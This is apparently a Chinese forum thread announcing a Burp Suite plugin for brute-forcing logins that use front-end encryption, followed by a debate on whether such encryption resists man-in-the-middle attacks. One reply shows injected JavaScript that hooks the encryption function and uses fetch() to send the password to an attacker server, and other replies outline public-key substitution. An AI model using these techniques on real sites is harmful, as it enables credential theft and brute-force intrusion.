一款用于爆破前端加密登陆的 BurpSuite 插件

[whwlsfb]

现在使用前端加密进行登陆的网站越来越多了，出于方便渗透测试中进行密码爆破，我开发了一个支持 AES/RSA/DES 加密算法，同时也支持将 js 代码直接复制进去执行的小插件。（ JS 执行完全在 Java 内部进行，不需要第三方软件）

该插件经测试可以在 BurpSuite 的 1.7.37~2020.12.1 版本中正常运行，同时插件完全开源，你可以自己下载源码使用 Idea 编译，或者在 Release 里下载已经编译好的版本，如果使用上遇到问题也欢迎提 Issue 、PR 。

项目地址： https://github.com/whwlsfb/BurpCrypto

使用说明： https://blog.wanghw.cn/security/burpcrypto-tutorial.html

AES 加密示例：

如果觉得对你有帮助，请随手点个 star，谢谢啦~

最近准备在插件内集成国密算法，哪位大佬有好用的 Java 库推荐一下啊？

[a570295535]

好家伙，我这拼命的加密，你那拼命的爆破！

[whwlsfb]

@a570295535 哈哈哈，魔高一尺道高一丈。

[kisshere]

一个人得有多宽广的胸怀和多烂的技术以及多简单的思维才敢把加密用到前端登录

[warcraft1236]

@kisshere 看起来淘宝 京东啥的都用了

[warcraft1236]

@warcraft1236 我好像说错了........

[whwlsfb]

@warcraft1236 没错啊，确实是用了

[abeholder]

hutool 就有集成国密算法

[whwlsfb]

@abeholder 好的我研究一下，感谢

[warcraft1236]

@whwlsfb 我也挺好奇，web 页面为啥要用加密，反正都能看到，加密不加密感觉没什么意义，也就能防止一下技术超级烂的初学者啥的

[weixd96]

cool

[xxxy]

楼上不知道为什么要加密的，其实这是个成本问题

[lawler]

@kisshere #3 你应该没有基本的加密认知。
@warcraft1236 #9 前端加密的意义是防中间人，不是防本人。

[whwlsfb]

@lawler 正解

[musi]

@warcraft1236 你要不去破解一下淘宝的登录试试？

[nnnToTnnn]

@lawler 前端能植入 js 代码，为什么能防到中间人? 前端除了 https 能防中间人以外，单纯的前端加密是无法防止中间人的

[lululau]

好奇前端加密登录是个啥技术

[whwlsfb]

@nnnToTnnn 中间人指的是如果处于不安全的网络环境中，直接传输明文密码可以被直接截取，而且整个过程完全可以自动化进行窃取。但是如果网站开发者使用了类似 RSA 等非对称加密算法对密码进行加密，如果窃取者没有私钥信息是无法解密的，也就保证了传输过程中的安全性。

[whwlsfb]

@nnnToTnnn 另外如果系统的根证书也是处于不安全的情况下，例如像某些企业为了流量监控会统一为员工的电脑安装根证书，这样就算是 https 也无法保证不被中间人窃取。

[huaxianyan]

楼主这个插件爱了

实际上我参与的项目中，对称加密的项目还挺多的，很多 JS 文件还没有混淆，楼主这个可谓是省事了

题外话，明文传输、Base64 编码当加密的情况也不少，着实让人无语

[nnnToTnnn]

@whwlsfb https 是保证完全可以避免中间人攻击的， 企业在电脑上安装了根证书，这并不是中间人攻击，而是用户电脑上已经信任了此证书。

-----------------------------------

```
中间人指的是如果处于不安全的网络环境中，直接传输明文密码可以被直接截取，而且整个过程完全可以自动化进行窃取。但是如果网站开发者使用了类似 RSA 等非对称加密算法对密码进行加密，如果窃取者没有私钥信息是无法解密的，也就保证了传输过程中的安全性。
```

如果网站使用了 RSA 等非对称加密技术在网页中，请问中间人既然可以注入 JS 代码修改你的网页，为何不能直接扫描你的代码？ 拿到你的密钥？你的请求对中间人而言完全就是透明的。


在网页中使用 JS 来进行 RSA 加密保护自己。无非用窗帘当作门了，别人一拉就开了，完全没有必要，而且浪费了浏览器的算力。

你可以了解一下 HTTPS 协议，HTTPS 协议不仅仅只有 RSA 和 AES 进行互换密钥，还有证书认证 HTST 等等。

[fuxiuyin]

@whwlsfb 他的意思是在明文环境下，response 的时候直接把加密的 js 换掉，然后就干掉 js 加密了。

[nnnToTnnn]

@fuxiuyin 注入 JS 代码，hook 一下加密的函数，然后将参数发送到服务器

例如 源代码

const encode = (txt) => {
return newTxt;
}

通过中间人，直接修改 html 页面改成

const encode = (txt) => {
fetch('https:/攻击者服务器地址')
return newTxt;
}

这样就把用户的密码完全上传到给服务器了

[whwlsfb]

@nnnToTnnn 首先，前端加密使用 RSA 算法的话，js 代码里提供的的公钥，而公钥是公开的，就像你现在电脑的根证书库的证书一样，只有证书的公钥信息。而通过公钥加密后的数据是必须要使用私钥进行解密的，公钥是无法解密公钥自身加密后的数据。所以就算你窃取到了也无法解密。

另外你说的证书认证确实能解决根证书的问题，但是除了银行和一些 zf 网站，有多少 https 网站会在访问时做证书验证？ HTST 也不是加密里面的概念，HTST 只是为了用户访问服务器保持使用 https 协议而已，对于通讯过程中的数据并没有参与。

[nnnToTnnn]

@whwlsfb 前端加密使用 RSA 算法。

那么就是

客户端 -> 公钥加密 -> 服务器 -> 私钥解密内容。


那么攻击手段

抓包 -> 注入 JS -> 客户端加密公钥信息 -> 服务器接收消息 -> 返回给客户端 -> 客户端解密 -> 执行 注入的 JS 程序


也就是，直接在你代码中修改发送数据，和接受数据，解密后的操作。 达到中间人攻击。

[nnnToTnnn]

HTST 就是为了防止中间人攻击而诞生的，保证不会被降级攻击，说来降级攻击，对于前端加密，又存在一种攻击思路


抓包 -> 将公钥替换为中间人的公钥 -> 客户端发送数据给中间人 -> 中间人私钥解密 -> 中间人拿到之前的公钥 -> 伪造数据发送给服务器 -> 服务器返回数据给中间人 -> 中间人采用自己的私钥加密 -> 客户端拿到信息用中间人的公钥来进行解密。


攻击成立，所以加密了一个寂寞~

[GuuJiang]

@whwlsfb 证书验证是浏览器的行为，不存在有的网站做有的网站不做，除非是 native 程序可以自行加入 ssl pinning，至于用户自行安装根证书这种行为属于社工问题不属于技术问题
你对中间人存在误解，就拿你说的 RSA 加密来说，如果传输没有经过 https，那中间人完全可以把公钥替换为自己的公钥，这才是最典型的一种中间人攻击的场景，而 https 之所以能对抗中间人就是因为借助证书来保证了拿到的公钥一定是真实的公钥
总结来说，如果传输已经是 https，而前端额外进行一次加密纯属脱裤子放屁，而如果传输不走 https，完全依赖前端加密，那只能自求多福了

[whwlsfb]

@nnnToTnnn
@fuxiuyin
确实，你这个操作前端加密是防不了，前端加密只是用于防御登录过程中那种自动抓取账号密码的行为，但是你这动作就太大了吧喂😂
而且你这种方式往往窃取到了也会影响正常的网站工作流程，除非给每个网站都做定制，时间成本会比较高
绝对的安全是不存在的，理论上只要肯付出时间什么系统都是不安全的

[nnnToTnnn]

@whwlsfb 如果不能解决证书的信任问题，那么即使前端加密了，也一样存在被攻击的可能性，如果解决了证书信任问题，回头来一看，这不就是 https 协议嘛~

所谓的前端 RSA 的加密，只不过是在手动实现浏览器的 https 协议，而且实现的还有漏洞。

如果你的代码前端加密，没有使用 https，那么和没加密无任何区别，别人一样可以发动中间人，在你网页中植入广告，注入 JS 盗取用户账号密码，盗取用户口令，以及黑掉别人页面。

[Ranying]

上面的 HTST 确认不是 HSTS 还是我学识浅薄

[myqoo]

试试破解这个： https://www.etherdream.com/webscrypt/example/login/

[nnnToTnnn]

@Ranying 不要意思打错了，就是 HSTS，然后打成 HTST 大哭.jpg

[whwlsfb]

@Ranying 确实是 HSTS，我直接复制过去了🤣

[whwlsfb]

@GuuJiang 27 楼

[nnnToTnnn]

@myqoo


```
export function hash(passBin: Bytes, saltBin: Bytes, dkLen: number) {
mAsmU8.set(passBin, mPassPtr);
mAsmU8.set(saltBin, mSaltPtr);

mPassLen = passBin.length;
mSaltLen = saltBin.length;
mDkLen = dkLen;

mRunning = true;
mIterCur = 0;
mDoingCounter = 0;
mDoneCounter = 0;

// [B0, B1, ..., Bp] <- PBKDF2(pass, salt)
mAsmObj._PBKDF2_OneIter(
mPassPtr, mPassLen,
mSaltPtr, mSaltLen,
mBlksPtr, mBlkLen * mArgP
);

// console.log('smix pre:',
// bytesToHex(mAsmU8, mBlksPtr, mBlkLen * mArgP)
// );

for (let i = 0; i < mThreads; i++) {
task(mWorkerPool[i]);
}
}

```

登入思路就是这个，跟踪一下 task 就知道了~

[whwlsfb]

@GuuJiang 补充一下，我说的证书验证指的是客户端证书验证，比如常见的 U 盾、yubico 、或者证书库中的客户端证书。

[followsin]

加密也不一定是为了防中间人攻击吧...有的时候就是后端接口的数据不想被人简单的看到所以做了加密，前端配合做加解密而已。传回来一堆字符串总比打开 f12 直接就能看到接口数据要好一点。

[ByZHkc3]

@warcraft1236 增加共计成本

[ByZHkc3]

加密是为了增加攻击成本，都散了吧

[warcraft1236]

我理解防中间人主要是为了防止用户的电脑上有恶意程序，或者整个网络通信链路上有恶意程序，来抓取用户发出去的数据之类的，这个过程 https 已经做的很好了，我觉得一般的前端程序员去自己做的加密逻辑无法比 https 这一套逻辑保证的更好

所以，对于防中间人，我觉得直接用 https 就行了，web 页面自己在做一层加密没有什么必要


对于 https 来说，如果电脑上信任了一些根证书，然后通过这个证书确实可以抓取 https 的数据，charles 这类的抓包软件就是这么实现的，如果是想着 web 页面自己加密数据，是为了防止 charles 这类的工具抓到明文数据，那么，实施攻击的人完全可以逆向 web 页面的逻辑，而发现加密的方法和证书什么的，

所以，这种情况下，web 页面自己做一层加密也没有起到很好的效果

[warcraft1236]

@musi 这个不需要我来破解，破解的人挺多的，理论上 web 页面的东西都能逆向到，因为攻击者完全可以自己注册一个帐号在自己电脑上登录，这样也能去嗅探 web 页面整个登录流程是什么逻辑

[IssacTomatoTan]

不一定，shit 山一样的代码逻辑估计连破解的人都受不了而放弃

[YouLMAO]

淘宝的 mobile sign 签名, 破解能有 25 万人民币奖金

[ysc3839]

@nnnToTnnn 前端加密更多是防抓包而不是防中间人吧。要是能篡改数据的话，直接改掉 js 代码，去掉加密即可。但是在只能窃取数据的情况下，还是有一定作用的。

[crclz]

@huaxianyan https 条件下明文传输有问题吗

[huaxianyan]

@crclz 忘记说了，明文的那些全是 http